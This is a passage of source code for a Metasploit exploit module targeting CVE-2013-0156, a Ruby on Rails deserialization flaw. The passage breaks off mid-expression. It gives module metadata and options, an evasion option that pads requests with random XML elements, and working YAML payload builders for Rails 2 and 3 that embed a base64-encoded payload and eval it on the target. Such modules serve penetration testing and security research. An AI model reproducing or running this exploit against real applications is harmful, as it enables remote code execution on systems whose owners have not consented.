This vulnerability allows an attacker to instantiate a remote object, which in turn can be used to execute any ruby code remotely in the context of the application. This module has been tested across multiple versions of RoR 3.x and RoR 2.x The technique used by this module requires the target to be running a fairly recent version of Ruby 1.9 (since 2011 or so). Applications using Ruby 1.8 may still be exploitable using the init_with() method, but this has not been demonstrated. }, 'Author' => [ 'charliesome', # PoC 'espes', # PoC and Metasploit module 'lian', # Identified the RouteSet::NamedRouteCollection vector 'hdm' # Module merge/conversion/payload work ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2013-0156' ], [ 'OSVDB', '89026' ], [ 'URL', 'https://www.rapid7.com/blog/post/2013/01/09/serialization-mischief-in-ruby-land-cve-2013-0156' ] ], 'Platform' => 'ruby', 'Arch' => ARCH_RUBY, 'Privileged' => false, 'Targets' => [ ['Automatic', {} ] ], 'DisclosureDate' => '2013-01-07', 'DefaultOptions' => { "PrependFork" => true }, 'DefaultTarget' => 0, 'Notes' => { 'Reliability' => UNKNOWN_RELIABILITY, 'Stability' => UNKNOWN_STABILITY, 'SideEffects' => UNKNOWN_SIDE_EFFECTS } ) ) register_options( [ Opt::RPORT(80), OptString.new('URIPATH', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]), OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST', 'PUT'] ]) ] ) register_evasion_options( [ OptBool.new('XML::PadElement', [ true, 'Pad the exploit request with randomly generated XML elements', true]) ] ) end # # Create the YAML document that will be embedded into the XML # def build_yaml_rails2 code = Rex::Text.encode_base64(payload.encoded) yaml = "--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection\n" + "'#{Rex::Text.rand_text_alpha(rand(8) + 1)}; " + "eval(%[#{code}].unpack(%[m0])[0]);' " + ": !ruby/object:ActionController::Routing::Route\n segments: []\n requirements:\n " + ":#{Rex::Text.rand_text_alpha(rand(8) + 1)}:\n :#{Rex::Text.rand_text_alpha(rand(8) + 1)}: " + ":#{Rex::Text.rand_text_alpha(rand(8) + 1)}\n" yaml end # # Create the YAML document that will be embedded into the XML # def build_yaml_rails3 code = Rex::Text.encode_base64(payload.encoded) yaml = "--- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection\n" + "'#{Rex::Text.rand_text_alpha(rand(8) + 1)}; " + "eval(%[#{code}].unpack(%[m0])[0]);' " + ": !ruby/object:OpenStruct\n table:\n :defaults: {}\n" yaml end # # Create the XML wrapper with any desired evasion # def build_request(v) xml = '' elo = Rex::Text.rand_text_alpha(rand(12) + 4) if datastore['XML::PadElement'] xml << "<#{elo}>" 1.upto(rand(1000) + 50) do el = Rex::Text.rand_text_alpha(rand(12) + 4) tp = ['string', 'integer'][rand(2)] xml << "<#{el} type='#{tp}'>" xml << (tp == "integer" ?
